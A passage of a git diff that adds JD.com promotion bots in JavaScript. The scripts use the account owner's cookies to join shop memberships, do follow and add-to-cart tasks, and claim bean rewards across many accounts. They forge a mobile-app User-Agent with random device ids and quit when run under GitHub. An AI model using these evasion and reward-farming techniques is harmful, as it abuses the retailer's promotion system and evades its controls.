row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data); + $.followShop = data.data.followShop.allStatus + $.addSku = data.data.addSku.allStatus + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data.actorUuid); + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Host": "lzdz1-isv.isvjcloud.com", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "Connection": "keep-alive", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard6.js b/backUp/gua_opencard6.js new file mode 100644 index 0000000..04d8cfd --- /dev/null +++ b/backUp/gua_opencard6.js @@ -0,0 +1,525 @@ +/* +七夕告白季-开卡 [gua_opencard6.js] +———————————————— +跑此脚本需要添加依赖文件[sign_graphics_validate.js] + +新增开卡脚本 +一次性脚本 + +没有邀请助力 +没有邀请助力 +没有邀请助力 + +一个号最长可能要跑5分钟 + +开5组卡(9+9+9+9+7) 共43个卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 +2个日常任务 有浏览、关注、加购 (每次1京豆 关注和加购可以多次 +(默认不加购 如需加购请设置环境变量[guaopencard_addSku6]为"true" +做完浏览、关注、加购 可以领取50京豆 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard6="true" + +———————————————— +因需要加载依赖文件 +所有不支持手机软件(Quantumultx、Loon、Surge、小火箭等 +———————————————— +入口:[七夕告白季-开卡 (https://3.cn/-1ie6CsW)] + +30 0,8 * 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard6.js, tag=七夕告白季-开卡, enabled=true +*/ +const $ = new Env('七夕告白季-开卡'); +const Faker=require('./sign_graphics_validate.js') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard6 || process.env.guaopencard6 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard6]为"true"') + return + } + guaopencard_addSku = process.env.guaopencard_addSku6 + if (!process.env.guaopencard_addSku6 || process.env.guaopencard_addSku6 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku6]为"true"') + } + } + console.log(`入口:\nhttps://3.cn/-1ie6CsW`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.fp || !$.eid){ + $.log("获取活动信息失败!") + return + } + let config = [ + // {configCode:'601189050083447fbb6c6f33831863ae',configName:'七夕美妆联合开卡第二组'}, + // {configCode:'efe66286334f4b47a95a2c756ff637af',configName:'七夕联合开卡第五组'}, + + {configCode:'d9de88cd314b4455859027978a7abb68',configName:'七夕联合开卡第一组'}, + {configCode:'ec46a109054a463395c5666694908d5a',configName:'七夕联合开卡第2组 新'}, + {configCode:'c8240993509a49da9b53645084a69e12',configName:'七夕任务组件1-2组'}, + {configCode:'9af170296a9f4bce8268eb5c813bb359',configName:'七夕联合开卡第三组'}, + {configCode:'4f6dac3a61084e23bf9bcad9360987d8',configName:'七夕联合开卡第4组'}, + {configCode:'af1ac7eba89c4b089c1d6976988e1013',configName:'七夕联合开卡第5组 新'}, + {configCode:'abe6bafe2f6b4efca6ba5b429daf5f26',configName:'七夕任务组件3-5组'} + ] + for(let i in config){ + $.hotFlag = false + let item = config[i] + $.task = '' + $.taskList = [] + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.task == '') await getActivity(item.configCode,item.configName,0) + if($.task || $.hotFlag) break + } + if($.hotFlag) continue; + if($.task.showOrder){ + console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) + if($.taskInfo.rewardStatus == 2) continue; + $.taskList = $.task.memberList || $.task.taskList || [] + $.oneTask = '' + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.task.showOrder == 1){ + console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) + if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) + if($.oneTask.result == 0) await join($.oneTask.venderId) + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) + }else if($.task.showOrder == 2){ + $.cacheNum = 0 + $.doTask = false + let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` + let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` + let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` + console.log(`${name}${msg} ${status}`) + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku6]为"true"\n'); + if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; + if($.oneTask.finishCount < $.oneTask.taskCount){ + await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 + for(n=2;c--;n++){ + console.log(`第${n}次`) + await getActivity(item.configCode,item.configName,$.oneTask.groupType) + $.oneTasks = '' + let q = 3 + for(m=1;q--;m++){ + if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) + if($.oneTasks) break + } + if($.oneTasks){ + c = $.oneTasks.taskCount - $.oneTasks.finishCount + if($.oneTasks.item.itemId == $.oneTask.item.itemId){ + n--; + console.log(`数据缓存中`) + $.cacheNum++; + if($.cacheNum > 5) console.log('请重新执行脚本,数据缓存问题'); + if($.cacheNum > 5) break; + await getUA() + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await getHtml(); + }else{ + $.cacheNum = 0 + } + if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) + }else{ + n--; + } + } + } + }else{ + console.log('未知活动类型') + } + } + if($.task.showOrder == 2){ + if($.doTask){ + $.taskInfo = '' + let q = 5 + for(m=1;q--;m++){ + if($.taskInfo == '') await getActivity(item.configCode,item.configName,-1) + if($.taskInfo) break + } + } + if($.taskInfo.rewardStatus == 1) await getReward(`{"configCode":"${item.configCode}","groupType":5,"itemId":1,"eid":"${$.eid}","fp":"${$.fp}"}`,1) + } + } + await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) + } + + } catch (e) { + console.log(e) + } +} +function getActivity(code,name,flag) { + return new Promise(async resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true && res.data.pass == true){ + if(flag == 0){ + $.task = res.data.memberTask || res.data.dailyTask || [] + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || [] + }else if(flag == -1){ + $.taskInfo = res.data.moduleBaseInfo || res.data.moduleBaseInfo || {} + }else if(flag == 1 || flag == 2){ + for(let i of res.data.dailyTask.taskList){ + if(i.groupType == flag){ + $.oneTasks = i + break + } + } + }else{ + console.log('活动-未知类型') + } + }else if(res.data.pass == false){ + console.log(`活动[${name}]活动太火爆了,请稍后再试~`) + $.hotFlag = true + }else{ + console.log(`活动[${name}]获取失败\n${data}`) + if(flag > 0) await getHtml(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doTask(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + $.doTask = true + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + await $.wait(parseInt(Math.random() * 1000 + 500, 10)) + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${$.oneTask.rewardQuantity}京豆`) + }else{ + console.log(`${res.errorMessage}`) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(body, flag = 0) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/v2/getReward`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data) + if(typeof res == 'object'){ + if(res.success == true){ + console.log(`领奖成功:${flag == 1 && $.taskInfo.rewardFinish || $.oneTask.rewardQuantity}京豆`) + }else{ + console.log(`${res.errorMessage}`) + } + } + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function statistic(body) { + return new Promise(async resolve => { + $.post({ + url: `https://jdjoy.jd.com/module/task/data/statistic`, + body, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Encoding": "gzip, deflate, br", + 'Content-Type':'application/json;charset=UTF-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/832865?activityId=c225ad5922cf4ac8b4a68fd37f486088&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/4TUq5NiJL2QnGsbnCemJ2UUsaa9R/index.html`, + headers: { + "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + 'Cookie': cookie, + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + 